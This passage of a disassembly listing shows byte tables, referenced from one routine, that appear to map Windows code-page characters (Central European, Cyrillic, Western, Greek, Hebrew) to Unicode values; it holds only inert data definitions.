		db 0E2h	; Б
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db  2Fh	; /
		db    1	;  
		db  0Dh	;  
		db    1	;  
		db 0E9h	; И
		db    0	;  
		db  19h	;  
		db    1	;  
		db 0EBh	; К
		db    0	;  
		db  17h	;  
		db    1	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db  46h	; F
		db    1	;  
		db  4Dh	; M
		db    1	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db  69h	; i
		db    1	;  
		db 0F8h	; Ь
		db    0	;  
		db  73h	; s
		db    1	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db  38h	; 8
		db    1	;  
unk_41CD00	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+122o
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Ah	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  30h	; 0
		db  20h	;  
		db  60h	; `
		db    1	;  
		db  39h	; 9
		db  20h	;  
		db  5Ah	; Z
		db    1	;  
		db  64h	; d
		db    1	;  
		db  7Dh	; }
		db    1	;  
		db  79h	; y
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  22h	; "
		db  21h	; !
		db  61h	; a
		db    1	;  
		db  3Ah	; :
		db  20h	;  
		db  5Bh	; [
		db    1	;  
		db  65h	; e
		db    1	;  
		db  7Eh	; ~
		db    1	;  
		db  7Ah	; z
		db    1	;  
		db 0A0h	; ═
		db    0	;  
		db 0C7h	; г
		db    2	;  
		db 0D8h	; ь
		db    2	;  
		db  41h	; A
		db    1	;  
		db 0A4h	; є
		db    0	;  
		db    4	;  
		db    1	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db  5Eh	; ^
		db    1	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db  7Bh	; {
		db    1	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0DBh	; ш
		db    2	;  
		db  42h	; B
		db    1	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    5	;  
		db    1	;  
		db  5Fh	; _
		db    1	;  
		db 0BBh	; ╩
		db    0	;  
		db  3Dh	; =
		db    1	;  
		db 0DDh	; щ
		db    2	;  
		db  3Eh	; >
		db    1	;  
		db  7Ch	; |
		db    1	;  
		db  54h	; T
		db    1	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    2	;  
		db    1	;  
		db 0C4h	; д
		db    0	;  
		db  39h	; 9
		db    1	;  
		db    6	;  
		db    1	;  
		db 0C7h	; г
		db    0	;  
		db  0Ch	;  
		db    1	;  
		db 0C9h	; и
		db    0	;  
		db  18h	;  
		db    1	;  
		db 0CBh	; к
		db    0	;  
		db  1Ah	;  
		db    1	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db  0Eh	;  
		db    1	;  
		db  10h	;  
		db    1	;  
		db  43h	; C
		db    1	;  
		db  47h	; G
		db    1	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db  50h	; P
		db    1	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db  58h	; X
		db    1	;  
		db  6Eh	; n
		db    1	;  
		db 0DAh	; з
		db    0	;  
		db  70h	; p
		db    1	;  
		db 0DCh	; э
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db  62h	; b
		db    1	;  
		db 0DFh	; ъ
		db    0	;  
		db  55h	; U
		db    1	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    3	;  
		db    1	;  
		db 0E4h	; Д
		db    0	;  
		db  3Ah	; :
		db    1	;  
		db    7	;  
		db    1	;  
		db 0E7h	; Г
		db    0	;  
		db  0Dh	;  
		db    1	;  
		db 0E9h	; И
		db    0	;  
		db  19h	;  
		db    1	;  
		db 0EBh	; К
		db    0	;  
		db  1Bh	;  
		db    1	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db  0Fh	;  
		db    1	;  
		db  11h	;  
		db    1	;  
		db  44h	; D
		db    1	;  
		db  48h	; H
		db    1	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db  51h	; Q
		db    1	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db  59h	; Y
		db    1	;  
		db  6Fh	; o
		db    1	;  
		db 0FAh	; З
		db    0	;  
		db  71h	; q
		db    1	;  
		db 0FCh	; Э
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db  63h	; c
		db    1	;  
		db 0D9h	; ы
		db    2	;  
unk_41CE00	db    2	;		; DATA XREF: sub_40EBC4+135o
		db    4	;  
		db    3	;  
		db    4	;  
		db  1Ah	;  
		db  20h	;  
		db  53h	; S
		db    4	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0ACh	; ╛
		db  20h	;  
		db  30h	; 0
		db  20h	;  
		db    9	;  
		db    4	;  
		db  39h	; 9
		db  20h	;  
		db  0Ah	;  
		db    4	;  
		db  0Ch	;  
		db    4	;  
		db  0Bh	;  
		db    4	;  
		db  0Fh	;  
		db    4	;  
		db  52h	; R
		db    4	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  22h	; "
		db  21h	; !
		db  59h	; Y
		db    4	;  
		db  3Ah	; :
		db  20h	;  
		db  5Ah	; Z
		db    4	;  
		db  5Ch	; \
		db    4	;  
		db  5Bh	; [
		db    4	;  
		db  5Fh	; _
		db    4	;  
		db 0A0h	; ═
		db    0	;  
		db  0Eh	;  
		db    4	;  
		db  5Eh	; ^
		db    4	;  
		db    8	;  
		db    4	;  
		db 0A4h	; є
		db    0	;  
		db  90h	; ░
		db    4	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    1	;  
		db    4	;  
		db 0A9h	; ╘
		db    0	;  
		db    4	;  
		db    4	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    7	;  
		db    4	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    6	;  
		db    4	;  
		db  56h	; V
		db    4	;  
		db  91h	; ▒
		db    4	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db  51h	; Q
		db    4	;  
		db  16h	;  
		db  21h	; !
		db  54h	; T
		db    4	;  
		db 0BBh	; ╩
		db    0	;  
		db  58h	; X
		db    4	;  
		db    5	;  
		db    4	;  
		db  55h	; U
		db    4	;  
		db  57h	; W
		db    4	;  
		db  10h	;  
		db    4	;  
		db  11h	;  
		db    4	;  
		db  12h	;  
		db    4	;  
		db  13h	;  
		db    4	;  
		db  14h	;  
		db    4	;  
		db  15h	;  
		db    4	;  
		db  16h	;  
		db    4	;  
		db  17h	;  
		db    4	;  
		db  18h	;  
		db    4	;  
		db  19h	;  
		db    4	;  
		db  1Ah	;  
		db    4	;  
		db  1Bh	;  
		db    4	;  
		db  1Ch	;  
		db    4	;  
		db  1Dh	;  
		db    4	;  
		db  1Eh	;  
		db    4	;  
		db  1Fh	;  
		db    4	;  
		db  20h	;  
		db    4	;  
		db  21h	; !
		db    4	;  
		db  22h	; "
		db    4	;  
		db  23h	; #
		db    4	;  
		db  24h	; $
		db    4	;  
		db  25h	; %
		db    4	;  
		db  26h	; &
		db    4	;  
		db  27h	; '
		db    4	;  
		db  28h	; (
		db    4	;  
		db  29h	; )
		db    4	;  
		db  2Ah	; *
		db    4	;  
		db  2Bh	; +
		db    4	;  
		db  2Ch	; ,
		db    4	;  
		db  2Dh	; -
		db    4	;  
		db  2Eh	; .
		db    4	;  
		db  2Fh	; /
		db    4	;  
		db  30h	; 0
		db    4	;  
		db  31h	; 1
		db    4	;  
		db  32h	; 2
		db    4	;  
		db  33h	; 3
		db    4	;  
		db  34h	; 4
		db    4	;  
		db  35h	; 5
		db    4	;  
		db  36h	; 6
		db    4	;  
		db  37h	; 7
		db    4	;  
		db  38h	; 8
		db    4	;  
		db  39h	; 9
		db    4	;  
		db  3Ah	; :
		db    4	;  
		db  3Bh	; ;
		db    4	;  
		db  3Ch	; <
		db    4	;  
		db  3Dh	; =
		db    4	;  
		db  3Eh	; >
		db    4	;  
		db  3Fh	; ?
		db    4	;  
		db  40h	; @
		db    4	;  
		db  41h	; A
		db    4	;  
		db  42h	; B
		db    4	;  
		db  43h	; C
		db    4	;  
		db  44h	; D
		db    4	;  
		db  45h	; E
		db    4	;  
		db  46h	; F
		db    4	;  
		db  47h	; G
		db    4	;  
		db  48h	; H
		db    4	;  
		db  49h	; I
		db    4	;  
		db  4Ah	; J
		db    4	;  
		db  4Bh	; K
		db    4	;  
		db  4Ch	; L
		db    4	;  
		db  4Dh	; M
		db    4	;  
		db  4Eh	; N
		db    4	;  
		db  4Fh	; O
		db    4	;  
unk_41CF00	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+148o
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Ah	;  
		db  20h	;  
		db  92h	; ▓
		db    1	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0C6h	; ф
		db    2	;  
		db  30h	; 0
		db  20h	;  
		db  60h	; `
		db    1	;  
		db  39h	; 9
		db  20h	;  
		db  52h	; R
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  7Dh	; }
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0DCh	; э
		db    2	;  
		db  22h	; "
		db  21h	; !
		db  61h	; a
		db    1	;  
		db  3Ah	; :
		db  20h	;  
		db  53h	; S
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  7Eh	; ~
		db    1	;  
		db  78h	; x
		db    1	;  
		db 0A0h	; ═
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db 0FFh	;  
		db    0	;  
unk_41D000	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+15Bo
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Ah	;  
		db  20h	;  
		db  92h	; ▓
		db    1	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  30h	; 0
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  39h	; 9
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  22h	; "
		db  21h	; !
		db 0FDh	; Щ
		db 0FFh	;  
		db  3Ah	; :
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A0h	; ═
		db    0	;  
		db  85h	; ┘
		db    3	;  
		db  86h	; ├
		db    3	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db  15h	;  
		db  20h	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db  84h	; └
		db    3	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db  88h	; ┬
		db    3	;  
		db  89h	; ┴
		db    3	;  
		db  8Ah	; ┼
		db    3	;  
		db 0BBh	; ╩
		db    0	;  
		db  8Ch	; ▄
		db    3	;  
		db 0BDh	; Ґ
		db    0	;  
		db  8Eh	; ▌
		db    3	;  
		db  8Fh	; ▐
		db    3	;  
		db  90h	; ░
		db    3	;  
		db  91h	; ▒
		db    3	;  
		db  92h	; ▓
		db    3	;  
		db  93h	; ⌠
		db    3	;  
		db  94h	; ■
		db    3	;  
		db  95h	; ∙
		db    3	;  
		db  96h	; √
		db    3	;  
		db  97h	; ≈
		db    3	;  
		db  98h	; ≤
		db    3	;  
		db  99h	; ≥
		db    3	;  
		db  9Ah	;  
		db    3	;  
		db  9Bh	; ⌡
		db    3	;  
		db  9Ch	; °
		db    3	;  
		db  9Dh	; ²
		db    3	;  
		db  9Eh	; ·
		db    3	;  
		db  9Fh	; ÷
		db    3	;  
		db 0A0h	; ═
		db    3	;  
		db 0A1h	; ║
		db    3	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A3h	; ё
		db    3	;  
		db 0A4h	; є
		db    3	;  
		db 0A5h	; ╔
		db    3	;  
		db 0A6h	; і
		db    3	;  
		db 0A7h	; ї
		db    3	;  
		db 0A8h	; ╗
		db    3	;  
		db 0A9h	; ╘
		db    3	;  
		db 0AAh	; ╙
		db    3	;  
		db 0ABh	; ╚
		db    3	;  
		db 0ACh	; ╛
		db    3	;  
		db 0ADh	; ґ
		db    3	;  
		db 0AEh	; ў
		db    3	;  
		db 0AFh	; ╞
		db    3	;  
		db 0B0h	; ╟
		db    3	;  
		db 0B1h	; ╠
		db    3	;  
		db 0B2h	; ╡
		db    3	;  
		db 0B3h	; Ё
		db    3	;  
		db 0B4h	; Є
		db    3	;  
		db 0B5h	; ╣
		db    3	;  
		db 0B6h	; І
		db    3	;  
		db 0B7h	; Ї
		db    3	;  
		db 0B8h	; ╦
		db    3	;  
		db 0B9h	; ╧
		db    3	;  
		db 0BAh	; ╨
		db    3	;  
		db 0BBh	; ╩
		db    3	;  
		db 0BCh	; ╪
		db    3	;  
		db 0BDh	; Ґ
		db    3	;  
		db 0BEh	; Ў
		db    3	;  
		db 0BFh	; ©
		db    3	;  
		db 0C0h	; ю
		db    3	;  
		db 0C1h	; а
		db    3	;  
		db 0C2h	; б
		db    3	;  
		db 0C3h	; ц
		db    3	;  
		db 0C4h	; д
		db    3	;  
		db 0C5h	; е
		db    3	;  
		db 0C6h	; ф
		db    3	;  
		db 0C7h	; г
		db    3	;  
		db 0C8h	; х
		db    3	;  
		db 0C9h	; и
		db    3	;  
		db 0CAh	; й
		db    3	;  
		db 0CBh	; к
		db    3	;  
		db 0CCh	; л
		db    3	;  
		db 0CDh	; м
		db    3	;  
		db 0CEh	; н
		db    3	;  
		db 0FDh	; Щ
		db 0FFh	;  
unk_41D100	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+16Eo
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Ah	;  
		db  20h	;  
		db  92h	; ▓
		db    1	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0C6h	; ф
		db    2	;  
		db  30h	; 0
		db  20h	;  
		db  60h	; `
		db    1	;  
		db  39h	; 9
		db  20h	;  
		db  52h	; R
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0DCh	; э
		db    2	;  
		db  22h	; "
		db  21h	; !
		db  61h	; a
		db    1	;  
		db  3Ah	; :
		db  20h	;  
		db  53h	; S
		db    1	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  78h	; x
		db    1	;  
		db 0A0h	; ═
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db  1Eh	;  
		db    1	;  
		db 0D1h	; я
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db  30h	; 0
		db    1	;  
		db  5Eh	; ^
		db    1	;  
		db 0DFh	; ъ
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db  1Fh	;  
		db    1	;  
		db 0F1h	; Я
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db  31h	; 1
		db    1	;  
		db  5Fh	; _
		db    1	;  
		db 0FFh	;  
		db    0	;  
unk_41D200	db 0ACh	; ╛		; DATA XREF: sub_40EBC4+181o
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Ah	;  
		db  20h	;  
		db  92h	; ▓
		db    1	;  
		db  1Eh	;  
		db  20h	;  
		db  26h	; &
		db  20h	;  
		db  20h	;  
		db  20h	;  
		db  21h	; !
		db  20h	;  
		db 0C6h	; ф
		db    2	;  
		db  30h	; 0
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  39h	; 9
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db  1Ch	;  
		db  20h	;  
		db  1Dh	;  
		db  20h	;  
		db  22h	; "
		db  20h	;  
		db  13h	;  
		db  20h	;  
		db  14h	;  
		db  20h	;  
		db 0DCh	; э
		db    2	;  
		db  22h	; "
		db  21h	; !
		db 0FDh	; Щ
		db 0FFh	;  
		db  3Ah	; :
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A0h	; ═
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0AAh	; ╙
		db  20h	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db 0B0h	; ╟
		db    5	;  
		db 0B1h	; ╠
		db    5	;  
		db 0B2h	; ╡
		db    5	;  
		db 0B3h	; Ё
		db    5	;  
		db 0B4h	; Є
		db    5	;  
		db 0B5h	; ╣
		db    5	;  
		db 0B6h	; І
		db    5	;  
		db 0B7h	; Ї
		db    5	;  
		db 0B8h	; ╦
		db    5	;  
		db 0B9h	; ╧
		db    5	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0BBh	; ╩
		db    5	;  
		db 0BCh	; ╪
		db    5	;  
		db 0BDh	; Ґ
		db    5	;  
		db 0BEh	; Ў
		db    5	;  
		db 0BFh	; ©
		db    5	;  
		db 0C0h	; ю
		db    5	;  
		db 0C1h	; а
		db    5	;  
		db 0C2h	; б
		db    5	;  
		db 0C3h	; ц
		db    5	;  
		db 0F0h	; П
		db    5	;  
		db 0F1h	; Я
		db    5	;  
